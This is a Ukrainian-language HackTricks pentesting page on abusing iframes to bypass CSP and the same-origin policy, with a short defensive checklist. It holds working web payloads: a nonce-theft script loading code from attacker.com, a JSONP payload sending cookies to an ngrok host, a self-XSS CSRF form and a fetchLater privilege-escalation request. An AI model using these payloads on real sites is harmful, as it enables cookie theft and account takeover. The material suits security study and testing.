Iframes в XSS, CSP та SOP

Reading time: 11 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Iframes в XSS

Є 3 способи вказати вміст сторінки в iframe:

  • Через src, що вказує на URL (URL може бути крос-доменним або того ж домену)
  • Через src, що вказує на вміст, використовуючи протокол data:
  • Через srcdoc, що вказує на вміст

Доступ до змінних батьківського та дочірнього контексту

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Якщо ви отримуєте доступ до попереднього html через http сервер (наприклад, python3 -m http.server), ви помітите, що всі скрипти будуть виконані (оскільки немає CSP, що цьому перешкоджає). батьківський контекст не зможе отримати доступ до змінної secret всередині будь-якого iframe і тільки iframes if2 та if3 (які вважаються однаковими сайтами) можуть отримати доступ до секрету в оригінальному вікні.
Зверніть увагу, що if4 вважається таким, що має null походження.

Iframes з CSP

tip

Будь ласка, зверніть увагу, що в наступних обходах відповідь на iframe-сторінку не містить жодного заголовка CSP, який заважає виконанню JS.

Значення self для script-src не дозволить виконання JS коду, використовуючи протокол data: або атрибут srcdoc.
Однак навіть значення none CSP дозволить виконання iframe, які ставлять URL (повний або лише шлях) в атрибут src.
Отже, можливо обійти CSP сторінки за допомогою:

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Зверніть увагу, що попередній CSP дозволяє виконання лише вбудованого скрипту.
Однак, будуть виконані лише скрипти if1 та if2, але лише if1 зможе отримати доступ до батьківського секрету.

Отже, можливо обійти CSP, якщо ви можете завантажити JS файл на сервер і завантажити його через iframe, навіть з script-src 'none'. Це можливо також зробити, зловживаючи кінцевою точкою JSONP того ж сайту.

Ви можете протестувати це в наступному сценарії, де кукі викрадається навіть з script-src 'none'. Просто запустіть додаток і отримайте до нього доступ через ваш браузер:

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Нові (2023-2025) техніки обходу CSP з використанням iframe

Дослідницька спільнота продовжує знаходити креативні способи зловживання iframe для обходу обмежувальних політик. Нижче ви можете знайти найбільш помітні техніки, опубліковані за останні кілька років:

  • Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Коли додаток відображає HTML, але сильний CSP блокує виконання скриптів, ви все ще можете витікати чутливі токени, інжектуючи dangling <iframe name> атрибут. Як тільки частковий розмітка буде проаналізована, скрипт зловмисника, що працює в окремому походженні, перенаправляє фрейм на about:blank і читає window.name, який тепер містить все до наступного символу лапок (наприклад, CSRF токен). Оскільки жоден JavaScript не виконується в контексті жертви, атака зазвичай обходить script-src 'none'. Мінімальний PoC виглядає так:
html
<!-- Точка інжекції безпосередньо перед чутливим <script> -->
<iframe name="//attacker.com/?">  <!-- атрибут навмисно залишено відкритим -->
javascript
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → витік значення
  • Крадіжка nonce через iframe з однаковим походженням (2024) – CSP nonce не видаляються з DOM; вони лише приховані в DevTools. Якщо зловмисник може інжектувати iframe з однаковим походженням (наприклад, завантажуючи HTML на сайт), дочірній фрейм може просто запитати document.querySelector('[nonce]').nonce і створити нові <script nonce> вузли, які задовольняють політику, забезпечуючи повне виконання JavaScript незважаючи на strict-dynamic. Наступний гаджет ескалює інжекцію розмітки в XSS:
javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Перехоплення form-action (PortSwigger 2024) – Сторінка, яка пропускає директиву form-action, може мати свою форму входу перенаправлену з інжектованого iframe або вбудованого HTML, так що менеджери паролів автоматично заповнюють і надсилають облікові дані на зовнішній домен, навіть коли присутній script-src 'none'. Завжди доповнюйте default-src директивою form-action!

Оборонні нотатки (швидкий контрольний список)

  1. Завжди надсилайте всі директиви CSP, які контролюють вторинні контексти (form-action, frame-src, child-src, object-src тощо).
  2. Не покладайтеся на те, що nonce є секретними — використовуйте strict-dynamic і усувайте точки інжекції.
  3. Коли ви повинні вбудовувати ненадійні документи, використовуйте sandbox="allow-scripts allow-same-origin" дуже обережно (або без allow-same-origin, якщо вам потрібна лише ізоляція виконання скриптів).
  4. Розгляньте впровадження COOP+COEP в глибину; новий атрибут <iframe credentialless> (§ нижче) дозволяє вам це зробити без порушення вбудовувань третіх сторін.

Інші Payloads, знайдені в дикій природі

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Вміст в iframe може підлягати додатковим обмеженням за допомогою атрибута sandbox. За замовчуванням цей атрибут не застосовується, що означає, що обмеження не діють.

Коли використовується, атрибут sandbox накладає кілька обмежень:

  • Вміст розглядається так, ніби він походить з унікального джерела.
  • Будь-яка спроба надсилання форм блокується.
  • Виконання скриптів заборонено.
  • Доступ до певних API вимкнено.
  • Він запобігає взаємодії посилань з іншими контекстами перегляду.
  • Використання плагінів через <embed>, <object>, <applet> або подібні теги заборонено.
  • Навігація верхнього рівня контексту перегляду вмістом сама по собі заборонена.
  • Автоматично активовані функції, такі як відтворення відео або автоматичне фокусування елементів форм, блокуються.

Tip: Сучасні браузери підтримують детальні прапорці, такі як allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation тощо. Поєднуйте їх, щоб надати лише мінімальні можливості, необхідні вбудованому додатку.

Значення атрибута можна залишити порожнім (sandbox=""), щоб застосувати всі вищезгадані обмеження. Альтернативно, його можна встановити на список специфічних значень, розділених пробілами, які звільняють iframe від певних обмежень.

html
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Credentialless iframes

Як пояснено в this article, прапорець credentialless в iframe використовується для завантаження сторінки всередині iframe без відправки облікових даних у запиті, зберігаючи при цьому політику одного походження (SOP) завантаженої сторінки в iframe.

Оскільки Chrome 110 (лютий 2023) ця функція увімкнена за замовчуванням і специфіка стандартизована в браузерах під назвою анонімний iframe. MDN описує це як: “механізм для завантаження iframe третіх сторін у новій, епізодичній частині пам'яті, щоб жодні куки, localStorage або IndexedDB не ділилися з реальним походженням”. Наслідки для атакуючих і захисників:

  • Скрипти в різних credentialless iframes все ще ділять одне й те саме верхнє походження і можуть вільно взаємодіяти через DOM, що робить атаки multi-iframe self-XSS можливими (див. PoC нижче).
  • Оскільки мережа позбавлена облікових даних, будь-який запит всередині iframe фактично поводиться як неавтентифікована сесія – захищені CSRF кінцеві точки зазвичай не проходять, але публічні сторінки, які можна витікати через DOM, все ще в межах досяжності.
  • Вікна, що з'являються з credentialless iframe, отримують неявний rel="noopener", що порушує деякі потоки OAuth.
javascript
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Приклад експлуатації: Self-XSS + CSRF

У цій атаці зловмисник готує шкідливу веб-сторінку з 2 iframe:

  • Iframe, який завантажує сторінку жертви з прапором credentialless з CSRF, що викликає XSS (Уявіть собі Self-XSS у імені користувача):
html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Інший iframe, в якому насправді користувач увійшов в систему (без прапора credentialless).

Тоді, з XSS можливо отримати доступ до іншого iframe, оскільки вони мають одну SOP, і вкрасти кукі, наприклад, виконавши:

javascript
alert(window.top[1].document.cookie);

fetchLater Attack

Як зазначено в this article, API fetchLater дозволяє налаштувати запит, який буде виконано пізніше (після певного часу). Тому це можна зловживати, наприклад, для входу жертви в сесію атакуючого (з Self-XSS), налаштувати запит fetchLater (щоб змінити пароль поточного користувача, наприклад) і вийти з сесії атакуючого. Потім жертва входить у свою власну сесію, і запит fetchLater буде виконано, змінюючи пароль жертви на той, що встановлений атакуючим.

Таким чином, навіть якщо URL жертви не може бути завантажено в iframe (через CSP або інші обмеження), атакуючий все ще може виконати запит у сесії жертви.

javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

Iframes в SOP

Перевірте наступні сторінки:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks